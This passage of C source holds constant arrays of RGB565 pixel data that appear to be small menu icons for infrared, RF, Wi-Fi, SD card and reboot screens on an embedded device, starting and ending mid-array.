0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0001,0x306B,0x1846,0x0000,0x2048,0x813D,0x895F,0x50D3,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0001,0x50D3,0x895F,0x60F5,0x0001,0x0000,0x58D4,0x895F,0x793C,0x1825,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0802,0x0000,0x0000,0x50D3,0x895F,0x815E,0x2869,0x0000,0x2869,0x895E,0x895F,0x388E,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x2869,0x6918,0x306B,0x0000,0x1846,0x793C,0x895F,0x58D4,0x0000,0x0802,0x7119,0x915F,0x60F6,0x0001, - 0x0000,0x2869,0x286A,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0822,0x7119,0x915F,0x6918,0x0802,0x0000,0x58D4,0x895F,0x793B,0x1024,0x0000,0x50D2,0x895F,0x793B,0x1024, - 0x0801,0x60F7,0x815E,0x40AF,0x0801,0x0000,0x0000,0x0000,0x0000,0x0000,0x40AF,0x895F,0x895F,0x2869,0x0000,0x306B,0x895F,0x895F,0x2869,0x0000,0x308C,0x895F,0x815E,0x286A, - 0x2869,0x815E,0x895F,0x895F,0x58F5,0x1024,0x0000,0x0000,0x0000,0x0000,0x1825,0x793C,0x895F,0x48B1,0x0000,0x1845,0x813D,0x895F,0x40AF,0x0000,0x2047,0x815E,0x895F,0x388D, - 0x388E,0x895F,0x895F,0x895F,0x895F,0x7119,0x2048,0x0000,0x0000,0x0000,0x0001,0x68F7,0x915F,0x60F7,0x0000,0x0822,0x711A,0x915F,0x50D3,0x0000,0x1025,0x793C,0x895F,0x40AE, - 0x40AF,0x895F,0x813D,0x60F7,0x895F,0x895F,0x813D,0x388D,0x0001,0x0000,0x0000,0x58D4,0x915F,0x7119,0x0802,0x0001,0x6918,0x915F,0x58F5,0x0000,0x1024,0x793B,0x895F,0x40AF, - 0x40AF,0x895F,0x793B,0x1825,0x408E,0x813D,0x895F,0x895F,0x50D3,0x0823,0x0000,0x50D3,0x915F,0x711A,0x0802,0x0001,0x6918,0x915F,0x58F5,0x0000,0x1024,0x793B,0x895F,0x40AF, - 0x388E,0x895F,0x815E,0x2047,0x0000,0x2869,0x711A,0x895F,0x895F,0x6918,0x2047,0x60F6,0x915F,0x6918,0x0001,0x0822,0x711A,0x915F,0x50D3,0x0000,0x1025,0x793C,0x895F,0x40AF, - 0x2869,0x815E,0x895F,0x48B1,0x0000,0x0000,0x1825,0x60F6,0x895F,0x895F,0x793C,0x813D,0x895F,0x58D4,0x0000,0x1845,0x813D,0x895F,0x40AF,0x0000,0x2047,0x815E,0x895F,0x388E, - 0x0801,0x60F6,0x793B,0x306B,0x0000,0x0000,0x0000,0x0802,0x48B0,0x815E,0x895F,0x895F,0x895F,0x388C,0x0000,0x306B,0x895F,0x895F,0x2869,0x0000,0x308C,0x895F,0x895F,0x306B, - 0x0000,0x1846,0x1025,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x306B,0x793B,0x895F,0x793C,0x1024,0x0000,0x58D4,0x895F,0x793B,0x1024,0x0000,0x50D2,0x895F,0x793C,0x1025, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1846,0x6918,0x48B1,0x0000,0x1846,0x793C,0x895F,0x58D4,0x0000,0x0802,0x7119,0x915F,0x60F6,0x0001, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0823,0x0823,0x0000,0x50D3,0x895F,0x815E,0x2869,0x0000,0x2869,0x895E,0x895F,0x388E,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0001,0x50D3,0x895F,0x60F5,0x0001,0x0000,0x58D4,0x895F,0x793C,0x1825,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0001,0x306B,0x1846,0x0000,0x2048,0x813D,0x895F,0x50D3,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x50D3,0x915F,0x813D,0x2047,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1846,0x58F5,0x48B1,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0001,0x0801,0x0000,0x0000,0x0000 - }; - - - - - - - - - - const uint16_t infra_main[576] = { - - 0x1847,0x388D,0x0801,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x58D4,0x815E,0x2047,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x58F5,0x895F,0x2048,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x58D4,0x895F,0x2048,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x58D4,0x895F,0x2048,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x58D4,0x895F,0x388C,0x0001,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1024,0x1023,0x0000, - 0x58D4,0x895F,0x815E,0x6918,0x388C,0x0001,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0802,0x2048,0x0001,0x0802,0x6918,0x60F6,0x0001, - 0x50D3,0x895F,0x895F,0x895F,0x895F,0x50D3,0x0802,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x2048,0x2047,0x0000,0x308C,0x815E,0x286A,0x0001,0x6918,0x793C,0x1025, - 0x50D3,0x895F,0x895F,0x895F,0x895F,0x895F,0x48B0,0x0000,0x0000,0x0000,0x1024,0x388D,0x0823,0x0801,0x7119,0x7119,0x0001,0x2869,0x895F,0x48B1,0x0000,0x50D3,0x895F,0x2869, - 0x50D3,0x895F,0x895F,0x895F,0x895F,0x895F,0x813D,0x1846,0x0000,0x0000,0x308C,0x895F,0x388D,0x0000,0x60F6,0x813D,0x1025,0x1025,0x813E,0x60F6,0x0000,0x40AE,0x895F,0x388D, - 0x50D3,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x40AE,0x0000,0x0000,0x2048,0x895F,0x50D2,0x0000,0x50D2,0x895F,0x2048,0x0822,0x793C,0x6919,0x0001,0x308C,0x895F,0x40B0, - 0x50D3,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x50D3,0x0000,0x0000,0x1846,0x815E,0x58F5,0x0000,0x40B0,0x895F,0x286A,0x0801,0x711A,0x711A,0x0001,0x286A,0x895F,0x48B1, - 0x50D2,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x58D4,0x0000,0x0000,0x1845,0x815E,0x58F5,0x0000,0x40B0,0x895F,0x286A,0x0801,0x711A,0x711A,0x0801,0x286A,0x895F,0x48D2, - 0x50D2,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x40B0,0x0000,0x0000,0x2048,0x895F,0x50D3,0x0000,0x48D2,0x895F,0x2048,0x0822,0x793B,0x6919,0x0001,0x306B,0x895F,0x48B0, - 0x50D2,0x895F,0x895F,0x895F,0x895F,0x895F,0x815E,0x2047,0x0000,0x0000,0x306B,0x895F,0x408E,0x0000,0x60F6,0x815E,0x1845,0x1024,0x813D,0x60F6,0x0000,0x388E,0x895F,0x388E, - 0x48D2,0x895F,0x895F,0x895F,0x895F,0x895F,0x50D3,0x0000,0x0000,0x0000,0x1024,0x388E,0x1024,0x0001,0x6918,0x711A,0x0802,0x2069,0x895F,0x50D2,0x0000,0x50D2,0x895F,0x286A, - 0x48D1,0x895F,0x895F,0x895F,0x895F,0x60F7,0x1023,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x2047,0x2047,0x0000,0x286A,0x815E,0x306B,0x0000,0x68F7,0x813D,0x1845, - 0x48B1,0x895F,0x895F,0x793C,0x48B1,0x0823,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0001,0x1847,0x0001,0x0001,0x60F5,0x60F6,0x0001, - 0x48B1,0x895F,0x48B1,0x1024,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0822,0x0822,0x0000, - 0x48B1,0x895F,0x306A,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x48B1,0x895F,0x306B,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x48B0,0x895F,0x306B,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x40B0,0x895F,0x306B,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x2047,0x50D3,0x1024,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000 - }; - - - - - - - - - const uint16_t rf_main[576] = { - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1825,0x1024,0x0001,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x2047,0x793B,0x793B,0x60F6,0x306B,0x0001,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1023,0x40AF,0x1845,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0802,0x308C,0x48B0,0x6919,0x815E,0x58D4,0x0822,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0801,0x58F5,0x895F,0x7119,0x1845,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1024,0x0823,0x0802,0x388E,0x815E,0x58D4,0x0001,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x388E,0x895F,0x895F,0x895F,0x7119,0x1845,0x0000,0x0000,0x0000,0x0000,0x2047,0x793C,0x793B,0x40AE,0x0001,0x388E,0x815E,0x306B,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x1024,0x713B,0x895F,0x895F,0x895F,0x895F,0x7119,0x1845,0x0000,0x0000,0x0000,0x0802,0x306A,0x58D4,0x815E,0x40AE,0x0802,0x6919,0x60F6,0x0001, - 0x0000,0x0000,0x0000,0x0000,0x308C,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x7119,0x1845,0x0000,0x0000,0x0001,0x1024,0x0801,0x58D4,0x793B,0x0823,0x48B0,0x793B,0x1024, - 0x0000,0x0000,0x0000,0x0000,0x58D4,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x6919,0x1845,0x0000,0x2047,0x6919,0x1024,0x306A,0x793C,0x1024,0x308C,0x793B,0x1825, - 0x0000,0x0000,0x0000,0x0801,0x6918,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x6919,0x1825,0x0801,0x2047,0x0001,0x0802,0x2047,0x0000,0x0802,0x2047,0x0000, - 0x0000,0x0000,0x0000,0x0802,0x711A,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x6919,0x1825,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0802,0x711A,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x6919,0x1845,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0001,0x60F7,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x6919,0x1845,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x48B1,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x7119,0x1845,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x2048,0x815E,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x7119,0x1845,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0001,0x6917,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x7119,0x1845,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0823,0x711A,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x7119,0x1845,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x306B,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x40AF,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x60F5,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x58F5,0x1023,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x1846,0x813D,0x895F,0x895F,0x895F,0x793C,0x60F7,0x815E,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x713B,0x388E,0x0801,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x48B0,0x895F,0x895F,0x895F,0x895F,0x60F5,0x0802,0x2048,0x48B1,0x60F7,0x711A,0x711A,0x6918,0x58D4,0x388D,0x1024,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0822,0x711A,0x895F,0x895F,0x895F,0x895F,0x48D1,0x0000,0x0000,0x0000,0x0001,0x0802,0x0802,0x0801,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0001,0x286A,0x50D2,0x895F,0x895F,0x895F,0x895F,0x895F,0x60F6,0x2047,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x1024,0x6918,0x813D,0x813D,0x813D,0x813D,0x813D,0x813D,0x813D,0x50D2,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x1024,0x1846,0x1846,0x1846,0x1846,0x1846,0x1846,0x1846,0x0823,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000 - }; - - - - - - -const uint16_t wifi_main[576] = { -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1846,0x388D,0x48B0,0x58D4,0x58D4,0x48B0,0x388D,0x1846,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x1024,0x50D2,0x793C,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x793C,0x50D2,0x1024,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0802,0x50D2,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x50D2,0x0802,0x0000,0x0000,0x0000, -0x0000,0x0000,0x2047,0x793C,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x793C,0x2047,0x0000,0x0000, -0x0000,0x2869,0x895E,0x895F,0x895F,0x895F,0x895F,0x895F,0x711A,0x48B1,0x306B,0x2068,0x2048,0x306B,0x48B1,0x711A,0x895F,0x895F,0x895F,0x895F,0x895F,0x895E,0x2869,0x0000, -0x0000,0x793C,0x895F,0x895F,0x895F,0x895F,0x6918,0x2047,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1847,0x68F7,0x895F,0x895F,0x895F,0x895F,0x793D,0x0000, -0x0000,0x815E,0x895F,0x895F,0x895F,0x388D,0x0000,0x0000,0x0000,0x0823,0x306B,0x408E,0x408E,0x306B,0x0823,0x0000,0x0000,0x0000,0x388D,0x895F,0x895F,0x895F,0x813D,0x0000, -0x0000,0x306B,0x793D,0x711A,0x2048,0x0000,0x0000,0x1847,0x60F7,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x6918,0x2047,0x0000,0x0000,0x2047,0x711A,0x813D,0x306B,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x40AE,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x48B1,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x308C,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x388D,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x50D3,0x895F,0x895F,0x895F,0x895F,0x58D4,0x388D,0x388D,0x50D3,0x815E,0x895F,0x895F,0x895F,0x58D4,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x2068,0x895F,0x895F,0x711A,0x1024,0x0000,0x0000,0x0000,0x0000,0x1023,0x6919,0x895F,0x895F,0x2869,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1024,0x2068,0x0001,0x0000,0x0802,0x388D,0x388D,0x0802,0x0000,0x0000,0x2869,0x1025,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0823,0x793C,0x895F,0x895F,0x793C,0x0802,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x40AF,0x895F,0x895F,0x895F,0x895F,0x408E,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x48B0,0x895F,0x895F,0x895F,0x895F,0x40AF,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1025,0x815E,0x895F,0x895F,0x815E,0x1024,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1825,0x50D2,0x48D2,0x1024,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000 -}; - - - -const uint16_t sd_main[576] = { -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x2869,0x50D2,0x50D3,0x50D3,0x50D3,0x50D3,0x50D3,0x50D3,0x50D3,0x50D3,0x48B1,0x1847,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x50D2,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x2869,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x50D2,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x68F7,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x50D2,0x895F,0x895F,0x895F,0x895F,0x50D2,0x793B,0x895F,0x50D3,0x711A,0x895F,0x58D4,0x6918,0x895F,0x895F,0x713B,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x50D2,0x895F,0x895F,0x895F,0x895F,0x7119,0x0000,0x408E,0x793C,0x0000,0x306B,0x895F,0x0000,0x2048,0x895F,0x895F,0x713B,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x388D,0x895F,0x895F,0x895F,0x895F,0x895F,0x6919,0x0000,0x388E,0x793C,0x0000,0x306B,0x895F,0x0000,0x2047,0x895F,0x895F,0x713B,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x6918,0x895F,0x895F,0x895F,0x895F,0x895F,0x6919,0x0000,0x388E,0x793C,0x0000,0x306B,0x895F,0x0000,0x2047,0x895F,0x895F,0x713B,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x713B,0x895F,0x895F,0x895F,0x895F,0x895F,0x813D,0x1846,0x58F5,0x895E,0x2047,0x50D3,0x895F,0x2869,0x48B0,0x895F,0x895F,0x713B,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x713B,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x713B,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x713B,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x713B,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x713B,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x713B,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x713B,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x713B,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x713B,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x713B,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x713B,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x713B,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x713B,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x713B,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x713B,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x713B,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x713B,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x713B,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x713B,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x713B,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x713B,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x713B,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x68F7,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x60F7,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x2869,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x2869,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x1847,0x48B1,0x50D3,0x50D3,0x50D3,0x50D3,0x50D3,0x50D3,0x50D3,0x50D3,0x50D3,0x50D3,0x50D3,0x50D3,0x48B1,0x1847,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000 -}; - - - - - - - - - const unsigned short reboot_main[144] = { - - - 0x0020, 0x0020, 0x0020, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0020, 0x0020, 0x0841, - 0x0000, 0x0000, 0x0000, 0x0803, 0x68F7, 0x895F, 0x895F, 0x60F6, 0x0801, 0x0000, 0x0000, 0x0000, - 0x0000, 0x0000, 0x308C, 0xB1BF, 0x50D2, 0x1846, 0x1847, 0x58D4, 0xB1BF, 0x2869, 0x0000, 0x0000, - 0x0000, 0x1024, 0xB1BF, 0x0802, 0x0000, 0x0000, 0x0000, 0x0000, 0x1024, 0xA19F, 0x48B0, 0x0000, - 0x0000, 0x58F5, 0x50D2, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x1023, 0x997F, 0x60F7, 0x0000, - 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 